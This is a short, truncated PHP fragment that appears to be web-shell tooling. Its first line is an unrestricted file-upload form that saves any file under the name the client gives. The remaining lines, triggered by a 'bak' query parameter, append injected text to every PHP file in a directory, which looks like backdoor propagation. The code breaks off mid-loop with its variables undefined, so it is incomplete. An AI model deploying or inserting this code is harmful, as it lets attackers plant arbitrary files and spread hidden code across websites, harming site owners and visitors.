<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
if (isset($_GET['bak'])) {
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file, 'a');
fwrite($fileHandle, $textToAppend);